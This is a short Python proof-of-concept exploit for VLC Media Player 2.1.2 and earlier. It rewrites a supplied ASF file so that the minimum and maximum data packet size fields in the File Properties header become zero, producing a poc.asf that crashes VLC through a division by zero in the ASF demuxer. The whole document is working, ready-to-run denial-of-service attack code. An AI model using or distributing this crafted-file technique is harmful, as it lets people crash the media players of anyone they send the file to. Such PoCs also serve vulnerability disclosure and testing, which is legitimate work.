VideoLAN VLC Media Player 2.1.2 – ‘.asf’ Crash (PoC)
#!/usr/bin/python # VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer # VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size # is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2 # to run this script you need to install python bitstring module # usage you supply any valid asf and the script will produxe a POC asf that will crash vlc import sys from bitstring import BitArray f = open(sys.argv[1],'r+b') f.seek(0,2) size = f.tell() print "[*] file size: %d" % size f.seek(0,0) print "[*] ReeeeeWWWWWWiiiiiNNNNNNND" fb = BitArray(f) index = fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True) print "[*] found file properties GUID" print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)] # index of minumum packet size in File Proprties header i_min_data_pkt_size = index[0] + 736 print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex # Accroding to ASF standarad the minimum data size and the maximum data size should be equal print "[*] Changing Miniumum and Maximum Data packet size to 0" # changing the data packets in bit array fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00 fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00 fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00 fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00 fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00 fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00 fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00 fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00 print "[*] POC File Created poc.asf" of = open('poc.asf','w+b') fb.tofile(of) of.close() f.close() |